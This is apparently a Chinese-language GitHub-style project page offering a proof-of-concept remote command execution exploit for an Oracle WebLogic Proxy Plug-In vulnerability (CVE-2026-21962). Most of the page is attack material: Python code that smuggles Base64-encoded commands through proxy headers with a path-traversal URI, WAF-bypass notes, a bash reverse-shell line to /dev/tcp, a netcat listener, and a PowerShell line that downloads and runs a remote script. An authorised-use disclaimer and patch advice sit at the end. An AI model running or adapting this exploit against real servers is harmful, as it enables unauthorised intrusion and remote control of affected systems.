CVE-2026-21962 - Oracle WebLogic Server Proxy Plug-In RCE
项目描述
该项目提供了一个针对Oracle WebLogic Server代理插件(Proxy Plug-In)中一个关键安全漏洞(CVE-2026-21962)的漏洞利用概念验证(PoC)脚本。该漏洞允许未经验证的远程攻击者通过HTTP协议在受影响的服务器上执行任意操作系统命令,风险等级极高(CVSS 10.0)。
影响组件:
- Oracle HTTP Server(版本12.2.1.4.0、14.1.1.0.0、14.1.2.0.0)
- Oracle WebLogic Server代理插件(用于Apache HTTP Server和Microsoft IIS)
功能特性
核心功能
- 自动漏洞检测 :通过多种常见路径(
/weblogic/、/wl_proxy/、/bea_wls_internal/、/_proxy/、/proxy/)探测目标系统是否存在漏洞 - 远程命令执行:能够执行用户指定的任意操作系统命令
- Payload编码:自动对Payload进行Base64编码,以绕过某些WAF/过滤器
- 多种攻击向量:支持通过不同HTTP头(WL-Proxy-Client-IP、Proxy-Client-IP、X-Forwarded-For)注入Payload
高级特性
- 跨平台支持:兼容Linux/Unix和Windows目标系统
- 灵活Payload:支持执行简单命令、复杂Shell脚本或PowerShell命令
- 输出解析:自动提取并显示命令执行结果
- 错误处理:完善的异常处理和超时控制机制
检测能力
- 支持通过HTTP状态码(200、302、500)判断漏洞存在性
- 能够捕获并显示命令执行的输出结果
- 提供详细的调试信息和错误报告
安装指南
环境要求
- Python 3.x:确保系统已安装Python 3
- 依赖库 :需要安装
requests库 - 操作系统:支持Linux、macOS和Windows
安装步骤
-
克隆或下载项目文件
bashgit clone https://github.com/Ashwesker/Ashwesker-CVE-2026-21962.git cd Ashwesker-CVE-2026-21962 -
安装Python依赖
bashpip install requests -
设置执行权限(可选)
bashchmod +x CVE-2026-21962.py
验证安装
运行以下命令验证安装是否成功:
bash
python3 CVE-2026-21962.py --help
如果看到帮助信息,说明安装成功。
使用说明
基础使用
基本语法
bash
python3 CVE-2026-21962.py <target_url> "<command>"
参数说明
target_url:目标服务器的URL(例如:http://target:7001或https://oracle-server:4443)command:要执行的命令(例如:id、whoami或反向Shell命令)
使用示例
1. 基本信息收集
执行系统命令来验证漏洞:
bash
python3 CVE-2026-21962.py http://target:7001 "id && whoami && uname -a"
2. 获取文件系统信息
bash
python3 CVE-2026-21962.py http://target:7001 "ls -la / && df -h"
3. 反向Shell(Linux目标)
首先在攻击机启动监听:
bash
nc -lvnp 4444
然后执行漏洞利用:
bash
python3 CVE-2026-21962.py http://target:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
4. Windows目标利用
bash
python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"
输出说明
- 成功迹象:HTTP状态码为200、302或500
- 命令输出:如果命令有输出,会显示前1500个字符
- 静默执行:如果命令执行成功但没有输出,会显示相应提示
注意事项
- 目标端口:通常WebLogic服务运行在7001端口,HTTPS服务可能运行在4443端口
- SSL证书:对于自签名证书的目标,可能需要禁用SSL验证
- 路径探测:工具会自动尝试多个常见代理插件路径
- WAF绕过:使用Base64编码和多种HTTP头尝试绕过防护
核心代码
主漏洞利用函数
python
def exploit(target_url, command):
# 漏洞利用端点(常见代理插件路径)
vuln_paths = [
"/weblogic/",
"/wl_proxy/",
"/bea_wls_internal/",
"/_proxy/",
"/proxy/"
]
# 构造触发反序列化/命令注入的恶意头部
# 实际触发使用特制的WL-Proxy-Client-IP或类似头部
# 结合绕过验证的特制URI
payload = f"cmd:{command}"
# Base64编码Payload以绕过WAF/过滤器
encoded_payload = base64.b64encode(payload.encode()).decode()
# 构造恶意HTTP头部
headers = {
"WL-Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"X-Forwarded-For": f"127.0.0.1;{encoded_payload}",
"User-Agent": "Mozilla/5.0 (compatible; Exploit/1.0)",
"Accept": "*/*",
"Connection": "close"
}
# 触发插件漏洞的特制URI
uri = "/weblogic/..;/bea_wls_internal/ProxyServlet"
# 尝试所有可能的漏洞路径
for base_path in vuln_paths:
full_url = f"{target_url.rstrip('/')}{base_path}{uri}"
print(f"[*] 尝试路径: {full_url}")
print(f"[*] 执行命令: {command}")
try:
# 使用GET请求,某些配置下POST也可用
r = requests.get(full_url, headers=headers, timeout=12, verify=False, allow_redirects=False)
# 根据HTTP状态码判断是否成功
if r.status_code in [200, 302, 500]:
print(f"[+] 可能成功!状态码: {r.status_code}")
if r.text.strip():
print("\n可能的命令输出/响应:\n" + "-"*60)
print(r.text[:1500]) # 显示前1500字符避免信息过多
print("-"*60)
else:
print("[+] 命令静默执行(无输出)")
return True
else:
print(f"[-] 状态码 {r.status_code} - 此路径无漏洞")
except Exception as e:
print(f"[-] 路径 {full_url} 错误: {e}")
print("\n[-] 所有路径测试完成 - 目标可能无漏洞或插件未暴露。")
return False
命令行参数解析
python
if __name__ == "__main__":
# 创建参数解析器
parser = argparse.ArgumentParser(description="CVE-2026-21962 PoC - Oracle WebLogic Proxy Plug-In RCE")
# 目标URL参数
parser.add_argument("target", help="目标URL (例如 http://target:7001 或 https://oracle-server:4443)")
# 命令参数
parser.add_argument("cmd",
help="要执行的命令 (例如 'id' 或 'whoami' 或 'powershell -c ...' 或 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1')")
# 解析参数并执行漏洞利用
args = parser.parse_args()
exploit(args.target, args.cmd)
漏洞检测逻辑
python
# 漏洞检测的核心逻辑
# 1. 构造包含恶意命令的Payload
# 2. 使用Base64编码绕过基本防护
# 3. 通过多个HTTP头部字段注入Payload
# 4. 使用路径遍历技术访问代理Servlet
# 5. 分析响应判断漏洞是否存在
# 关键点:
# - 使用分号分隔IP地址和命令Payload
# - 尝试多个可能的代理插件路径
# - 支持HTTP和HTTPS协议
# - 包含完善的超时和错误处理
安全注意事项
python
# 重要安全提示:
# 1. 此工具仅用于授权的安全测试
# 2. 在非授权系统上使用是非法的
# 3. 使用前需获得明确书面授权
# 4. 遵守所有适用法律法规
# 技术建议:
# 1. 及时应用Oracle 2026年1月关键补丁更新
# 2. 限制对受影响服务的网络访问
# 3. 监控HTTP流量中的可疑行为
# 4. 定期审查系统日志和安全控制措施
版本兼容性
该工具设计用于以下受影响版本:
- Oracle HTTP Server: 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0
- WebLogic Proxy Plug-in for Apache/IIS
免责声明 : 所有PoC代码仅供道德、授权测试和教育目的使用。未经授权的利用是非法的,作者不承担任何滥用责任。
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPtA7C84tFVwza9UVc8THXK
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)